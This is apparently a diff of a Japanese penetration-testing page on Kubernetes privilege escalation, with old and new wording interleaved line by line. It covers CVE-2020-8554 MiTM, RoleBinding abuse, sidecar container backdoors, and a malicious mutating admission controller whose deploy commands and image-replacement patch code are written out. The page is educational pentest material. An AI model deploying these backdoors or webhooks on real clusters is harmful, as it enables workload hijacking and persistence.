**`services/status`** を **修正** できるプリンシパルは、`status.loadBalancer.ingress.ip` フィールドを設定して **未修正の CVE-2020-8554** を悪用し、**クラスターに対する MiTM 攻撃** を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです([**これ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) に従って)。
|
||||
|
||||
### ノードとポッドのステータス
|
||||
|
||||
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるためにラベルを修正することができます。
|
||||
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるラベルを修正できます。
|
||||
|
||||
## 組み込みの特権昇格防止
|
||||
|
||||
Kubernetes には、特権昇格を防ぐための [組み込みメカニズム](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。
|
||||
|
||||
このシステムは、**ユーザーが役割や役割バインディングを修正することによって特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。
|
||||
このシステムは、**ユーザーが役割や役割バインディングを修正することで特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。
|
||||
|
||||
このルールは、**ユーザーは役割が含むすべての権限を持っている場合にのみ役割を作成または更新できる**と規定しています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。
|
||||
このルールは、**ユーザーは役割を作成または更新するために、その役割が含むすべての権限を持っている必要がある**と規定しています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。
|
||||
|
||||
> [!WARNING]
|
||||
> 前述のルールには例外があります。プリンシパルが **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。
|
||||
@@ -560,74 +605,48 @@ Kubernetes には、特権昇格を防ぐための [組み込みメカニズム]
|
||||
### **RoleBindings/ClusterRoleBindings の取得とパッチ**
|
||||
|
||||
> [!CAUTION]
|
||||
> **この技術は以前は機能していたようですが、私のテストによると、前のセクションで説明した理由により、もう機能していません。権限を持っていない場合、役割バインディングを作成/修正して自分自身または別の SA に特権を与えることはできません。**
|
||||
> **この技術は以前は機能していたようですが、私のテストによると、前のセクションで説明した理由でもはや機能していません。権限を持っていない場合、役割バインディングを作成/修正して自分自身または別の SA に特権を与えることはできません。**
|
||||
|
||||
Rolebindings を作成する特権は、ユーザーが **サービスアカウントに役割をバインドする**ことを可能にします。この特権は、**ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。**
|
||||
Rolebindings を作成する特権は、ユーザーが **サービスアカウントに役割をバインドする** ことを可能にします。この特権は、**ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。**
|
||||
|
||||
## その他の攻撃
|
||||
|
||||
### サイドカー プロキシ アプリ
|
||||
|
||||
デフォルトでは、ポッド間の通信には暗号化がありません。相互認証、双方向、ポッドからポッドへ。
|
||||
デフォルトでは、ポッド間の通信に暗号化はありません。相互認証、双方向、ポッドからポッドへ。
|
||||
|
||||
#### サイドカー プロキシ アプリの作成 <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### サイドカー プロキシ アプリの作成
|
||||
|
||||
あなたの .yaml を作成してください。
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
あなたの .yaml を編集し、コメントアウトされた行を追加してください:
|
||||
サイドカーコンテナは、**ポッド内に2つ目(またはそれ以上)のコンテナを追加する** ことから成ります。
|
||||
|
||||
例えば、以下は2つのコンテナを持つポッドの設定の一部です:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
プロキシのログを確認してください:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
既存のポッドに新しいコンテナをバックドアするには、仕様に新しいコンテナを追加するだけです。第二のコンテナに、最初のコンテナが持たない**より多くの権限**を与えることができることに注意してください。
|
||||
|
||||
### 悪意のあるAdmission Controller
|
||||
詳細は次を参照してください: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
Admission Controllerは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを**傍受**しますが、**リクエストが認証**され、**承認**された後です。
|
||||
### 悪意のあるアドミッションコントローラー
|
||||
|
||||
攻撃者が何らかの方法で**Mutationg Admission Controllerを注入**することに成功すれば、**すでに認証されたリクエストを変更**することができます。これにより、潜在的に権限昇格を行ったり、より一般的にはクラスター内に持続することが可能になります。
|
||||
アドミッションコントローラーは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを**傍受**しますが、**リクエストが認証**され、**承認**された後です。
|
||||
|
||||
**例として** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
攻撃者が何らかの方法で**ミューテーションアドミッションコントローラーを注入**することに成功すれば、**すでに認証されたリクエストを変更**することができます。これにより、潜在的に権限昇格が可能になり、より一般的にはクラスター内に持続することができます。
|
||||
|
||||
**例は** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) からです:
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
ステータスを確認して、準備ができているかどうかを確認します:
|
||||
準備ができているかどうかステータスを確認してください:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -639,7 +658,7 @@ kubectl get deploy,svc -n webhook-demo
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
`ErrImagePull`エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください:
|
||||
`ErrImagePull` エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
@@ -648,9 +667,9 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
上の画像に示されているように、私たちはイメージ `nginx` を実行しようとしましたが、最終的に実行されたイメージは `rewanthtammana/malicious-image` です。何が起こったのでしょうか?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### 技術的詳細
|
||||
|
||||
`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストをその設定行に従って変更するミューテイティングウェブホックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます。
|
||||
`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストを指定された設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -658,7 +677,7 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
上記のスニペットは、すべてのポッド内の最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。
|
||||
上記のスニペットは、すべてのポッドの最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。
|
||||
|
||||
## OPA Gatekeeper バイパス
|
||||
|
||||
@@ -700,5 +719,7 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user